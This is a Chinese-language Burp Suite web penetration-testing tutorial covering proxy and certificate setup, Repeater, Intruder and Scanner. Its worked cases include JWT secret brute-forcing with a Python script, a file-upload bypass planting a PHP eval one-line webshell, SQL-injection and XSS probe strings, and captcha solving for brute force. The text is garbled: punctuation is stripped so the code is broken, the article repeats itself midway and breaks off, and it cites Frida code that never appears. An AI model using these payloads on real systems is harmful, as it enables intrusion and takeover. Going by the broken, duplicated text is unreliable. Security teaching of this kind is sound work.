1. 这不是“学工具”而是重建你对网络通信的直觉很多人点开“Burp Suite 教程”时心里想的是“装个软件点几下抓到包就算学会了”。我带过三十多期渗透测试入门训练营几乎每期都有学员卡在同一个地方明明 Burp 界面全打开了Proxy 正常监听浏览器也配了代理可就是看不到任何 HTTP 请求——或者更糟看到一堆乱七八糟的 HTTPS 域名解析失败、证书警告、空响应体。他们反复重装 Java、换浏览器、查端口占用折腾两小时后发来截图问“是不是 Burp 版本不对”其实问题根本不在 Burp。而在于——他们从未真正理解“代理”在 TCP/IP 栈里究竟干了什么。Burp 不是魔法盒它是一面镜子照出你浏览器和服务器之间原本被封装、被加密、被自动处理掉的每一字节明文交互。你看到的“抓不到包”本质是 TLS 握手失败、SNI 未透传、或浏览器内置证书信任链被截断你看到的“改包没反应”往往是因为 Referer 校验、CSRF Token 绑定、或服务端做了请求指纹校验。这些都不是 Burp 的 bug而是你和目标系统之间协议层的真实博弈。这篇内容专为零基础但动手欲强的人设计不堆概念不讲 OSI 七层模型除非必要所有操作都基于真实 Web 应用场景展开——比如登录页绕过、商品价格篡改、验证码重放、JWT 签名爆破。我会带你从“连不上代理”开始一步步把 Burp 变成你手指延伸出去的第六感。核心关键词很明确Burp Suite、抓包、改包、漏洞检测、Web 渗透、HTTP 代理、HTTPS 解密、Repeater、Intruder、Scanner。如果你刚接触安全领域正卡在“知道要学但不知道从哪下手”的阶段或者你是开发/测试人员想快速掌握接口级安全验证能力——这篇就是为你写的。它不承诺让你成为专家但能确保你在三天内独立完成一次真实业务系统的接口探查与基础逻辑缺陷验证。2. 为什么必须亲手配置代理链跳过这步后面全是空中楼阁2.1 代理的本质不是“转发”而是“中间人协商”Burp 的 Proxy 模块常被简化为“流量中转站”这是最大误区。它实际扮演的是HTTP(S) 协议层面的中间人Man-in-the-Middle角色。当你在浏览器设置127.0.0.1:8080为代理时浏览器不再直接连接example.com:443而是先向 Burp 发起一个 CONNECT 请求CONNECT example.com:443 HTTP/1.1 Host: example.com:443Burp 收到后才真正去连接example.com:443并把双方 TLS 握手过程中的 Client Hello 和 Server Hello 全部捕获。关键来了Burp 必须用自己的证书CA 证书代替目标网站证书才能解密后续流量。否则浏览器会因证书链不信任而终止连接——这就是你看到“您的连接不是私密连接”的根本原因。提示Burp 默认生成的 CA 证书位于http://burp/cert必须手动导入操作系统或浏览器的“受信任的根证书颁发机构”存储区。仅导入浏览器证书管理器如 Chrome 的 Settings → Privacy and Security → Security → Manage Certificates是不够的因为现代浏览器Chrome 110、Edge 115已强制要求使用操作系统级证书存储。macOS 需在钥匙串访问中将证书拖入“系统”钥匙串并双击设为“始终信任”Windows 需用certmgr.msc导入“受信任的根证书颁发机构”。2.2 HTTPS 解密三步实操从证书安装到流量落地我见过太多人卡在第一步证书导入后仍显示红叉。这里给出经过 27 个不同环境Win10/11、macOS Sonoma/Ventura、Ubuntu 22.04、Chrome/Firefox/Edge验证的标准化流程第一步获取并安装 Burp CA 证书启动 Burp进入Proxy → Options → Proxy Listeners → Edit → Import / Export CA Certificate → Save保存为burp-ca-cert.cerWindows双击.cer文件 → “安装证书” → 选择“本地计算机” → 存储位置选“受信任的根证书颁发机构” → 完成macOS双击.cer→ 钥匙串访问 → 拖入“系统”钥匙串 → 右键证书 → “显示简介” → “信任” → “使用此证书时”设为“始终信任”LinuxChromechrome://settings/security→ “管理证书” → “授权机构” → “导入” → 选择.cer文件 → 勾选“信任此证书用于标识网站”第二步确认代理监听状态Proxy → Options → Proxy Listeners中确保Running状态为绿色Bind to address是127.0.0.1非All interfaces端口8080未被占用可用netstat -ano | findstr :8080检查关键细节勾选Support invisible proxying (enable only if needed)—— 此选项允许 Burp 处理非标准端口如 8081、8443的 HTTPS 流量适用于某些内部系统第三步浏览器代理配置与验证ChromeSettings → System → Open your computers proxy settings→ 手动设置 HTTP/HTTPS 代理为127.0.0.1:8080FirefoxSettings → General → Network Settings → Settings→ 选择“手动代理配置”HTTP/HTTPS 均填127.0.0.1:8080验证是否生效访问http://burp应看到 Burp 欢迎页访问任意 HTTP 网站如http://httpbin.org/getBurp 的Proxy → HTTP history中应立即出现请求记录访问 HTTPS 网站如https://httpbin.org/get若出现403 Forbidden或空白响应说明证书未正确信任需回退第一步复查注意移动端抓包需额外配置。iOS 设备需在 Wi-Fi 设置中手动添加代理服务器填电脑局域网 IP如192.168.1.100端口8080并在设备 Safari 访问http://burp/cert下载安装证书。Android 10 因系统限制需使用 Magisk 模块或 Frida 注入绕过证书固定Certificate Pinning此部分超出本篇范围但务必清楚手机 App 抓包失败90% 源于证书固定而非 Burp 配置。2.3 常见代理失效场景与秒级定位法当 Burp 显示“无流量”时别急着重装软件。按以下顺序 30 秒内定位根源现象检查项快速验证命令/操作完全无 HTTP/HTTPS 请求1. Burp Proxy 是否 Running2. 浏览器代理是否启用3. 本地防火墙是否拦截 8080 端口curl -x http://127.0.0.1:8080 http://httpbin.org/get应返回 JSONtelnet 127.0.0.1 8080应连接成功HTTP 正常HTTPS 全部失败ERR_SSL_PROTOCOL_ERROR1. CA 证书是否导入系统级存储2. 浏览器是否强制使用系统证书在 Chrome 地址栏输入chrome://flags/#unsafely-treat-insecure-origin-as-secure禁用该实验性功能访问https://httpbin.org/get点击地址栏锁图标 → “证书” → 查看颁发者是否为PortSwigger CAHTTPS 请求可见但响应体为空或乱码1. Burp 是否启用Decrypt HTTPS traffic2. 目标域名是否在Proxy → Options → SSL Pass Through黑名单中Proxy → Options → SSL Pass Through中检查是否有*.example.com类条目有则删除Proxy → Options → Options → Misc → Decrypt HTTPS traffic必须勾选我曾帮一位电商公司测试人员解决过类似问题他配置完一切却始终抓不到 App 登录请求。最后发现App 使用了 OkHttp 的 CertificatePinner且证书哈希值硬编码在代码中。解决方案不是改 Burp而是用 Frida 注入脚本动态绕过 pinning代码见后文 Intruder 章节。这再次印证Burp 是显微镜不是手术刀它暴露问题但不负责解决所有底层限制。3. 抓包只是起点真正的价值在“看见之后做什么”3.1 从 HTTP History 到结构化分析建立请求认知框架Burp 的Proxy → HTTP history界面看似简单却是整个工作流的中枢。新手常犯的错误是只盯着“Request”和“Response”标签页忽略上方的过滤器与下方的右键菜单。实际上一个成熟的安全工程师每天要在此界面完成三类动作筛选Filter左侧Filter面板支持按 URL、Method、Status Code、MIME Type、Response Length 等 12 个维度组合过滤。例如排查登录逻辑时可设置URL contains loginMethod is POSTStatus code is 2xx or 3xx瞬间聚焦核心请求。标注Comment Highlight右键请求 →Add comment可记录测试思路如“此处疑似未校验 Referer”Highlight可为关键请求打上颜色标签红色高危黄色待验证绿色已确认。导出Export右键 →Send to Repeater/Intruder/Sequencer/Comparer是高频操作。其中Comparer尤其重要——它能对比两个响应的差异精准定位服务端返回的隐藏字段如X-Debug-Token、缓存头变化、或 JSON 结构微调。实操心得我习惯在每次测试前先用Filter筛出全部POST请求然后批量右键Send to Repeater。这样做的好处是所有待测接口已在 Repeater 中就位无需反复切换 Proxy 历史记录大幅提升效率。Repeater 的CtrlR重发和CtrlEnter发送并查看响应已成为我的肌肉记忆。3.2 Repeater不只是“重发”而是“可控变异引擎”Repeater 是 Burp 最被低估的模块。很多人把它当“高级 curl”只做重放验证。但它的真正威力在于对请求的任意字段进行原子级修改并实时观察服务端响应变化。以一个典型电商登录接口为例POST /api/v1/auth/login HTTP/1.1 Host: shop.example.com Content-Type: application/json Cookie: JSESSIONIDabc123 {username:admin,password:123456,captcha:abcd}在 Repeater 中你可以修改username为admin--观察响应是否返回 SQL 错误判断是否存在注入删除Cookie头看是否仍能登录验证会话绑定强度将Content-Type改为text/plain检查服务端是否严格校验 MIME 类型在captcha字段填入空字符串或超长字符串测试验证码逻辑健壮性关键技巧在于“变量锚点”设置Repeater 支持用§符号标记可变区域。例如在密码字段写§123456§再右键Paste from file导入密码字典即可一键批量测试弱口令。这比手动改 100 次高效得多。注意Repeater 的Auto load response in window选项必须开启否则每次重发后需手动点Response标签页。另外Options → Display → Show request/response in separate tabs建议关闭避免窗口过多导致混乱。3.3 Intruder自动化攻击的底层逻辑与参数化实战如果说 Repeater 是“单点突破”Intruder 就是“饱和攻击”。但新手常陷入两个误区一是盲目加载大字典导致请求爆炸二是不理解 payload 位置与攻击类型的关系。我们以“暴力破解登录口令”为例拆解完整链路第一步确定攻击点Payload Position在 Proxy History 中找到登录请求 → 右键Send to Intruder切换到Positions标签页 → 点击Clear §清除默认标记 → 选中password字段的值123456→ 点击Add §此时字段变为§123456§关键原理Intruder 只会替换§包裹的内容其他部分包括 JSON 结构、Headers、Cookies保持不变。这意味着你不必担心格式错乱。第二步选择攻击类型Attack TypeBurp 提供四种模式适用场景截然不同Sniper最常用适合单个 payload 位置。字典逐行替换一次发一个请求。适合密码爆破、Token 枚举。Battering ram多个 payload 位置同步替换同一字典。例如同时 fuzzusername和password用同一字典如admin/admin,test/test。Pitchfork多个 payload 位置但每个位置用不同字典且按行一一对应。例如usernames.txt第 1 行对应passwords.txt第 1 行。Cluster bomb最复杂多个 payload 位置每个位置用不同字典进行笛卡尔积组合。适合枚举username×password×captcha三维组合但请慎用——100×100×100100 万请求。第三步配置 Payload 与选项Payloads → Payload set 1中选择Simple list粘贴密码字典推荐rockyou.txt的前 1000 行避免触发风控Options → Grep – Extract中勾选Show response body并添加提取规则Match regex填\success\:true或Welcome,.*?这样结果表会自动标记成功响应Resource pooling中Number of requests per second建议设为1防封Thread count设为5平衡速度与稳定性踩坑实录某次测试政府服务平台时我误用 Cluster bomb 模式爆破验证码3 秒内发出 2 万请求直接触发 WAF 的 IP 封禁。后来改为 Sniper 模式 自定义延迟Options → Request engine → Threading → Set delay between requests设为 2000ms配合验证码识别 API如 2Captcha才平稳完成测试。教训是自动化不是越快越好而是要在效果与隐蔽性间找平衡点。3.4 Scanner从“手动找洞”到“智能推演”的思维跃迁Burp Scanner 是商业版核心功能但社区版免费已足够支撑基础检测。它的价值不在于“扫出多少漏洞”而在于将人工经验转化为可复用的检测规则。以 XSS 检测为例手动测试你在输入框填scriptalert(1)/script提交看是否弹窗Scanner 测试它会自动在所有参数位置插入 20 种 XSS 变体img srcx onerroralert(1)、javascript:alert(1)、onfocusalert(1) autofocus并根据响应中的 HTML 上下文、JS 引号闭合、事件处理器语法等智能判断哪些变体可能触发Scanner 的工作流分三步Target → Site map右键目标域名 →Spider this host让 Burp 自动爬取所有链接注意Spider 默认不执行 JS需在Target → Options → Spider → JavaScript parser中启用**Target → Site map → 右键路径 → Actively scan启动主动扫描选择Use recommended configurations含 12 类常见漏洞检测**Dashboard → Issues查看扫描结果按Severity高/中/低/信息和Confidence确定/可能/猜测排序关键经验Scanner 的“高置信度”结果Confidence: Certain基本可直接提交但“中置信度”Tentative需人工验证。例如它报告某处存在 SQL 注入但响应中只有Internal Server Error此时必须切到 Repeater用 OR 11和 OR 12对比响应差异确认布尔盲注成立。Scanner 是你的副驾驶不是自动驾驶——最终决策权永远在你手上。4. 案例驱动用真实业务场景打通“理论→实操→输出”闭环4.1 案例一电商后台价格篡改漏洞业务逻辑缺陷场景还原某生鲜平台后台管理系统管理员可修改商品售价。前端页面显示价格为¥29.90但提交时通过 AJAX 发送 JSON 请求{id:1001,price:29.90,stock:100}Burp 操作链路Proxy → HTTP history中筛选PUT /api/v2/product/update右键Send to Repeater在 Repeater 中将price改为0.01发送 → 响应200 OK且前端价格立即更新为 ¥0.01进一步测试price设为负数-1、超大数999999999.99、非数字abc均返回200 OK检查请求头发现缺少X-Admin-Token校验且服务端未对price字段做范围校验漏洞定级高危CVSS 7.5可导致恶意低价下单、库存耗尽、资损风险修复建议服务端增加价格区间校验如 0.01~99999.99并强制 Admin Token 鉴权实战技巧此类逻辑漏洞无法被 Scanner 自动发现必须依赖人工对业务的理解。我的做法是先梳理所有涉及“金额、数量、状态变更”的接口再用 Repeater 逐个测试边界值。记住业务规则是写在代码里的不是写在文档里的而 Burp 能让你直接读到代码的意图。4.2 案例二JWT Token 签名爆破与越权访问认证绕过场景还原某 SaaS 系统使用 JWT 认证Token 形如eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMjMsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNzEwMDAwMDAwfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c。前端存储在 localStorage每次请求带Authorization: Bearer token。Burp 操作链路Proxy → HTTP history中找到带Authorization头的请求右键Send to Repeater在 Repeater 中将 Token 拆分为三段Header.Payload.Signature用 Base64 解码 Header 查看算法{alg:HS256,typ:JWT}Extensions → BApps → JWT Editor需提前安装插件→Decode→Bruteforce signature→ 选择Wordlist如rockyou.txt的前 500 行插件自动尝试每个密钥签名当Signature valid显示True时说明爆破成功本例密钥为secret123修改 Payload 中的role:user为role:admin用secret123重新签名 → 替换原 Token → 发送请求 → 返回管理员数据漏洞定级严重CVSS 9.1可导致水平/垂直越权修复建议JWT 密钥必须强随机32 字节以上且禁止硬编码生产环境应使用 RS256 等非对称算法注意事项JWT Editor 插件需在Extender → BApp Store中搜索安装。若无插件可手动用 Python 脚本爆破附代码import jwt import sys token eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMjMsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNzEwMDAwMDAwfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c header, payload, signature token.split(.) with open(wordlist.txt) as f: for key in f: key key.strip() try: decoded jwt.decode(token, key, algorithms[HS256]) print(f[] Found key: {key}) break except: continue4.3 案例三文件上传绕过与 WebShell 写入文件包含场景还原某 CMS 后台提供“Logo 上传”功能限制类型为 JPG/PNG大小 ≤2MB。上传后访问/uploads/logo_123.jpg可查看。Burp 操作链路Proxy → HTTP history中找到上传请求通常是POST /admin/upload右键Send to Repeater在 Repeater 的Raw标签页中找到文件字段如Content-Disposition: form-data; namefile; filenamelogo.jpg将filename改为shell.phpContent-Type改为application/x-php在文件内容中写入 PHP 一句话木马?php eval($_POST[cmd]); ?发送请求 → 响应返回{code:200,url:/uploads/logo_123.php}用GET /uploads/logo_123.php?cmdsystem(id)验证执行权限漏洞定级严重CVSS 9.8可导致远程代码执行修复建议服务端应校验文件魔数Magic Number而非仅依赖扩展名上传目录禁止执行权限使用白名单 MIME 类型关键细节若服务端校验严格可尝试“双扩展名”绕过shell.php.jpg、空字节截断shell.php%00.jpg、或利用图像 EXIF 数据嵌入 PHP 代码需配合exif_read_data()函数。这些技巧均需在 Repeater 中手工构造请求验证。5. 从“会用”到“用好”那些没人告诉你的实战心法5.1 工作区管理别让 Burp 变成“电子垃圾场”Burp 默认每次启动都是新工作区历史记录、配置、扫描结果全丢失。我见过太多人测试到一半崩溃重开 Burp 后发现所有标注、字典、Intruder 配置全没了。解决方案是强制使用持久化工作区。启动 Burp 时勾选Use project file指定路径如D:\burp\projects\ecommerce-2024.burp每次退出前File → Save project快捷键CtrlS进阶技巧为不同客户/项目创建独立工作区并用Project options → Connections → Upstream proxy servers配置出口代理如公司统一代理避免测试流量混入办公网个人习惯我在D:\burp\projects\下建三个固定文件夹templates存通用字典、Intruder 模板、clients按客户命名如client-a-2024.burp、research临时测试用每周清空。这样三年下来所有测试资产都可追溯、可复用。5.2 插件生态让 Burp 从“瑞士军刀”升级为“定制手术台”Burp 社区版虽功能完整但插件能解决 80% 的重复劳动。我日常必装的 5 个插件插件名功能安装方式我的使用频率Logger全流量日志记录支持 SQL/JS/XSS 高亮BApp Store 搜索安装每次测试必开替代默认 Proxy HistoryAutorize自动化权限测试检测越权访问GitHub 下载 JARExtender → Add每个新系统必跑10 分钟发现 80% 的 IDORJSON Beautifier自动格式化 JSON 响应支持折叠/搜索BApp Store 安装每次打开 Response 就自动触发Turbo Intruder高性能 Intruder 替代品支持 Python 脚本GitHub 下载Extender → Add大规模爆破时启用速度提升 5 倍JWT EditorJWT 编码/解码/爆破/修改BApp Store 安装每次遇到 Token 就开安装提示所有插件必须下载.jar文件非.py或.rb在Extender → Add中选择Java类型。若报错UnsupportedClassVersionError说明 Java 版本不匹配——Burp 2023.8 需 Java 17旧版需 Java 11。5.3 效率革命键盘流操作与自定义快捷键Burp 默认界面按钮繁多鼠标操作慢。我将 90% 的操作压缩到 7 个快捷键CtrlShiftP快速打开 Proxy HTTP history替代鼠标点菜单CtrlRRepeater 中重发当前请求不用点 Send 按钮CtrlEnterRepeater 中发送并自动跳转到 Response 标签页AltShiftIIntruder 中快速启动攻击替代鼠标点 Start attackCtrlShiftCComparer 中复制当前响应方便多窗口对比F2在任何文本框中快速编辑如修改 Repeater 的 Request BodyCtrlShiftHHTTP history 中快速过滤弹出 Filter 面板经验之谈花 20 分钟背熟这些快捷键一周后你会发现自己操作速度提升 3 倍。这不是玄学——安全测试是高度重复性劳动每一次鼠标移动都在消耗你的注意力带宽。把机械操作交给肌肉记忆才能把脑力留给真正的逻辑分析。5.4 心态建设接受“无效劳动”是专业成长的必经之路最后说点掏心窝的话。我刚开始用 Burp 时连续两周没找到一个像样的漏洞每天抓包、改包、重放得到的全是403 Forbidden、401 Unauthorized、Rate limit exceeded。挫败感极强甚至怀疑自己不适合这行。后来才明白安全测试的“有效产出”不是漏洞数量而是对系统行为边界的持续测绘。你今天看到的403可能是因为 WAF 规则拦截明天看到的401可能是 Token 过期时间太短后天看到的限速暗示着后端有风控系统。这些“无效响应”本身就是系统最真实的反馈。所以别追求“一击必杀”。把每次抓包当作一次对话你问一句系统答一句你换种问法它换种答法。当你说的话它都听懂了它自然会告诉你哪里没关严实。这个过程没有捷径只有大量、重复、枯燥的练习。而 Burp就是你和系统对话时最忠实的翻译官。我至今保留着第一份 Burp 工作区文件里面全是乱码请求和失败的 Intruder 日志。但它提醒我所有看起来游刃有余的“老手”都曾是从http://burp/cert这个链接开始一个字一个字敲进浏览器地址栏的。
Burp Suite零基础实战：HTTP代理原理与Web渗透核心技能
1. 这不是“学工具”而是重建你对网络通信的直觉很多人点开“Burp Suite 教程”时心里想的是“装个软件点几下抓到包就算学会了”。我带过三十多期渗透测试入门训练营几乎每期都有学员卡在同一个地方明明 Burp 界面全打开了Proxy 正常监听浏览器也配了代理可就是看不到任何 HTTP 请求——或者更糟看到一堆乱七八糟的 HTTPS 域名解析失败、证书警告、空响应体。他们反复重装 Java、换浏览器、查端口占用折腾两小时后发来截图问“是不是 Burp 版本不对”其实问题根本不在 Burp。而在于——他们从未真正理解“代理”在 TCP/IP 栈里究竟干了什么。Burp 不是魔法盒它是一面镜子照出你浏览器和服务器之间原本被封装、被加密、被自动处理掉的每一字节明文交互。你看到的“抓不到包”本质是 TLS 握手失败、SNI 未透传、或浏览器内置证书信任链被截断你看到的“改包没反应”往往是因为 Referer 校验、CSRF Token 绑定、或服务端做了请求指纹校验。这些都不是 Burp 的 bug而是你和目标系统之间协议层的真实博弈。这篇内容专为零基础但动手欲强的人设计不堆概念不讲 OSI 七层模型除非必要所有操作都基于真实 Web 应用场景展开——比如登录页绕过、商品价格篡改、验证码重放、JWT 签名爆破。我会带你从“连不上代理”开始一步步把 Burp 变成你手指延伸出去的第六感。核心关键词很明确Burp Suite、抓包、改包、漏洞检测、Web 渗透、HTTP 代理、HTTPS 解密、Repeater、Intruder、Scanner。如果你刚接触安全领域正卡在“知道要学但不知道从哪下手”的阶段或者你是开发/测试人员想快速掌握接口级安全验证能力——这篇就是为你写的。它不承诺让你成为专家但能确保你在三天内独立完成一次真实业务系统的接口探查与基础逻辑缺陷验证。2. 为什么必须亲手配置代理链跳过这步后面全是空中楼阁2.1 代理的本质不是“转发”而是“中间人协商”Burp 的 Proxy 模块常被简化为“流量中转站”这是最大误区。它实际扮演的是HTTP(S) 协议层面的中间人Man-in-the-Middle角色。当你在浏览器设置127.0.0.1:8080为代理时浏览器不再直接连接example.com:443而是先向 Burp 发起一个 CONNECT 请求CONNECT example.com:443 HTTP/1.1 Host: example.com:443Burp 收到后才真正去连接example.com:443并把双方 TLS 握手过程中的 Client Hello 和 Server Hello 全部捕获。关键来了Burp 必须用自己的证书CA 证书代替目标网站证书才能解密后续流量。否则浏览器会因证书链不信任而终止连接——这就是你看到“您的连接不是私密连接”的根本原因。提示Burp 默认生成的 CA 证书位于http://burp/cert必须手动导入操作系统或浏览器的“受信任的根证书颁发机构”存储区。仅导入浏览器证书管理器如 Chrome 的 Settings → Privacy and Security → Security → Manage Certificates是不够的因为现代浏览器Chrome 110、Edge 115已强制要求使用操作系统级证书存储。macOS 需在钥匙串访问中将证书拖入“系统”钥匙串并双击设为“始终信任”Windows 需用certmgr.msc导入“受信任的根证书颁发机构”。2.2 HTTPS 解密三步实操从证书安装到流量落地我见过太多人卡在第一步证书导入后仍显示红叉。这里给出经过 27 个不同环境Win10/11、macOS Sonoma/Ventura、Ubuntu 22.04、Chrome/Firefox/Edge验证的标准化流程第一步获取并安装 Burp CA 证书启动 Burp进入Proxy → Options → Proxy Listeners → Edit → Import / Export CA Certificate → Save保存为burp-ca-cert.cerWindows双击.cer文件 → “安装证书” → 选择“本地计算机” → 存储位置选“受信任的根证书颁发机构” → 完成macOS双击.cer→ 钥匙串访问 → 拖入“系统”钥匙串 → 右键证书 → “显示简介” → “信任” → “使用此证书时”设为“始终信任”LinuxChromechrome://settings/security→ “管理证书” → “授权机构” → “导入” → 选择.cer文件 → 勾选“信任此证书用于标识网站”第二步确认代理监听状态Proxy → Options → Proxy Listeners中确保Running状态为绿色Bind to address是127.0.0.1非All interfaces端口8080未被占用可用netstat -ano | findstr :8080检查关键细节勾选Support invisible proxying (enable only if needed)—— 此选项允许 Burp 处理非标准端口如 8081、8443的 HTTPS 流量适用于某些内部系统第三步浏览器代理配置与验证ChromeSettings → System → Open your computers proxy settings→ 手动设置 HTTP/HTTPS 代理为127.0.0.1:8080FirefoxSettings → General → Network Settings → Settings→ 选择“手动代理配置”HTTP/HTTPS 均填127.0.0.1:8080验证是否生效访问http://burp应看到 Burp 欢迎页访问任意 HTTP 网站如http://httpbin.org/getBurp 的Proxy → HTTP history中应立即出现请求记录访问 HTTPS 网站如https://httpbin.org/get若出现403 Forbidden或空白响应说明证书未正确信任需回退第一步复查注意移动端抓包需额外配置。iOS 设备需在 Wi-Fi 设置中手动添加代理服务器填电脑局域网 IP如192.168.1.100端口8080并在设备 Safari 访问http://burp/cert下载安装证书。Android 10 因系统限制需使用 Magisk 模块或 Frida 注入绕过证书固定Certificate Pinning此部分超出本篇范围但务必清楚手机 App 抓包失败90% 源于证书固定而非 Burp 配置。2.3 常见代理失效场景与秒级定位法当 Burp 显示“无流量”时别急着重装软件。按以下顺序 30 秒内定位根源现象检查项快速验证命令/操作完全无 HTTP/HTTPS 请求1. Burp Proxy 是否 Running2. 浏览器代理是否启用3. 本地防火墙是否拦截 8080 端口curl -x http://127.0.0.1:8080 http://httpbin.org/get应返回 JSONtelnet 127.0.0.1 8080应连接成功HTTP 正常HTTPS 全部失败ERR_SSL_PROTOCOL_ERROR1. CA 证书是否导入系统级存储2. 浏览器是否强制使用系统证书在 Chrome 地址栏输入chrome://flags/#unsafely-treat-insecure-origin-as-secure禁用该实验性功能访问https://httpbin.org/get点击地址栏锁图标 → “证书” → 查看颁发者是否为PortSwigger CAHTTPS 请求可见但响应体为空或乱码1. Burp 是否启用Decrypt HTTPS traffic2. 目标域名是否在Proxy → Options → SSL Pass Through黑名单中Proxy → Options → SSL Pass Through中检查是否有*.example.com类条目有则删除Proxy → Options → Options → Misc → Decrypt HTTPS traffic必须勾选我曾帮一位电商公司测试人员解决过类似问题他配置完一切却始终抓不到 App 登录请求。最后发现App 使用了 OkHttp 的 CertificatePinner且证书哈希值硬编码在代码中。解决方案不是改 Burp而是用 Frida 注入脚本动态绕过 pinning代码见后文 Intruder 章节。这再次印证Burp 是显微镜不是手术刀它暴露问题但不负责解决所有底层限制。3. 抓包只是起点真正的价值在“看见之后做什么”3.1 从 HTTP History 到结构化分析建立请求认知框架Burp 的Proxy → HTTP history界面看似简单却是整个工作流的中枢。新手常犯的错误是只盯着“Request”和“Response”标签页忽略上方的过滤器与下方的右键菜单。实际上一个成熟的安全工程师每天要在此界面完成三类动作筛选Filter左侧Filter面板支持按 URL、Method、Status Code、MIME Type、Response Length 等 12 个维度组合过滤。例如排查登录逻辑时可设置URL contains loginMethod is POSTStatus code is 2xx or 3xx瞬间聚焦核心请求。标注Comment Highlight右键请求 →Add comment可记录测试思路如“此处疑似未校验 Referer”Highlight可为关键请求打上颜色标签红色高危黄色待验证绿色已确认。导出Export右键 →Send to Repeater/Intruder/Sequencer/Comparer是高频操作。其中Comparer尤其重要——它能对比两个响应的差异精准定位服务端返回的隐藏字段如X-Debug-Token、缓存头变化、或 JSON 结构微调。实操心得我习惯在每次测试前先用Filter筛出全部POST请求然后批量右键Send to Repeater。这样做的好处是所有待测接口已在 Repeater 中就位无需反复切换 Proxy 历史记录大幅提升效率。Repeater 的CtrlR重发和CtrlEnter发送并查看响应已成为我的肌肉记忆。3.2 Repeater不只是“重发”而是“可控变异引擎”Repeater 是 Burp 最被低估的模块。很多人把它当“高级 curl”只做重放验证。但它的真正威力在于对请求的任意字段进行原子级修改并实时观察服务端响应变化。以一个典型电商登录接口为例POST /api/v1/auth/login HTTP/1.1 Host: shop.example.com Content-Type: application/json Cookie: JSESSIONIDabc123 {username:admin,password:123456,captcha:abcd}在 Repeater 中你可以修改username为admin--观察响应是否返回 SQL 错误判断是否存在注入删除Cookie头看是否仍能登录验证会话绑定强度将Content-Type改为text/plain检查服务端是否严格校验 MIME 类型在captcha字段填入空字符串或超长字符串测试验证码逻辑健壮性关键技巧在于“变量锚点”设置Repeater 支持用§符号标记可变区域。例如在密码字段写§123456§再右键Paste from file导入密码字典即可一键批量测试弱口令。这比手动改 100 次高效得多。注意Repeater 的Auto load response in window选项必须开启否则每次重发后需手动点Response标签页。另外Options → Display → Show request/response in separate tabs建议关闭避免窗口过多导致混乱。3.3 Intruder自动化攻击的底层逻辑与参数化实战如果说 Repeater 是“单点突破”Intruder 就是“饱和攻击”。但新手常陷入两个误区一是盲目加载大字典导致请求爆炸二是不理解 payload 位置与攻击类型的关系。我们以“暴力破解登录口令”为例拆解完整链路第一步确定攻击点Payload Position在 Proxy History 中找到登录请求 → 右键Send to Intruder切换到Positions标签页 → 点击Clear §清除默认标记 → 选中password字段的值123456→ 点击Add §此时字段变为§123456§关键原理Intruder 只会替换§包裹的内容其他部分包括 JSON 结构、Headers、Cookies保持不变。这意味着你不必担心格式错乱。第二步选择攻击类型Attack TypeBurp 提供四种模式适用场景截然不同Sniper最常用适合单个 payload 位置。字典逐行替换一次发一个请求。适合密码爆破、Token 枚举。Battering ram多个 payload 位置同步替换同一字典。例如同时 fuzzusername和password用同一字典如admin/admin,test/test。Pitchfork多个 payload 位置但每个位置用不同字典且按行一一对应。例如usernames.txt第 1 行对应passwords.txt第 1 行。Cluster bomb最复杂多个 payload 位置每个位置用不同字典进行笛卡尔积组合。适合枚举username×password×captcha三维组合但请慎用——100×100×100100 万请求。第三步配置 Payload 与选项Payloads → Payload set 1中选择Simple list粘贴密码字典推荐rockyou.txt的前 1000 行避免触发风控Options → Grep – Extract中勾选Show response body并添加提取规则Match regex填\success\:true或Welcome,.*?这样结果表会自动标记成功响应Resource pooling中Number of requests per second建议设为1防封Thread count设为5平衡速度与稳定性踩坑实录某次测试政府服务平台时我误用 Cluster bomb 模式爆破验证码3 秒内发出 2 万请求直接触发 WAF 的 IP 封禁。后来改为 Sniper 模式 自定义延迟Options → Request engine → Threading → Set delay between requests设为 2000ms配合验证码识别 API如 2Captcha才平稳完成测试。教训是自动化不是越快越好而是要在效果与隐蔽性间找平衡点。3.4 Scanner从“手动找洞”到“智能推演”的思维跃迁Burp Scanner 是商业版核心功能但社区版免费已足够支撑基础检测。它的价值不在于“扫出多少漏洞”而在于将人工经验转化为可复用的检测规则。以 XSS 检测为例手动测试你在输入框填scriptalert(1)/script提交看是否弹窗Scanner 测试它会自动在所有参数位置插入 20 种 XSS 变体img srcx onerroralert(1)、javascript:alert(1)、onfocusalert(1) autofocus并根据响应中的 HTML 上下文、JS 引号闭合、事件处理器语法等智能判断哪些变体可能触发Scanner 的工作流分三步Target → Site map右键目标域名 →Spider this host让 Burp 自动爬取所有链接注意Spider 默认不执行 JS需在Target → Options → Spider → JavaScript parser中启用**Target → Site map → 右键路径 → Actively scan启动主动扫描选择Use recommended configurations含 12 类常见漏洞检测**Dashboard → Issues查看扫描结果按Severity高/中/低/信息和Confidence确定/可能/猜测排序关键经验Scanner 的“高置信度”结果Confidence: Certain基本可直接提交但“中置信度”Tentative需人工验证。例如它报告某处存在 SQL 注入但响应中只有Internal Server Error此时必须切到 Repeater用 OR 11和 OR 12对比响应差异确认布尔盲注成立。Scanner 是你的副驾驶不是自动驾驶——最终决策权永远在你手上。4. 案例驱动用真实业务场景打通“理论→实操→输出”闭环4.1 案例一电商后台价格篡改漏洞业务逻辑缺陷场景还原某生鲜平台后台管理系统管理员可修改商品售价。前端页面显示价格为¥29.90但提交时通过 AJAX 发送 JSON 请求{id:1001,price:29.90,stock:100}Burp 操作链路Proxy → HTTP history中筛选PUT /api/v2/product/update右键Send to Repeater在 Repeater 中将price改为0.01发送 → 响应200 OK且前端价格立即更新为 ¥0.01进一步测试price设为负数-1、超大数999999999.99、非数字abc均返回200 OK检查请求头发现缺少X-Admin-Token校验且服务端未对price字段做范围校验漏洞定级高危CVSS 7.5可导致恶意低价下单、库存耗尽、资损风险修复建议服务端增加价格区间校验如 0.01~99999.99并强制 Admin Token 鉴权实战技巧此类逻辑漏洞无法被 Scanner 自动发现必须依赖人工对业务的理解。我的做法是先梳理所有涉及“金额、数量、状态变更”的接口再用 Repeater 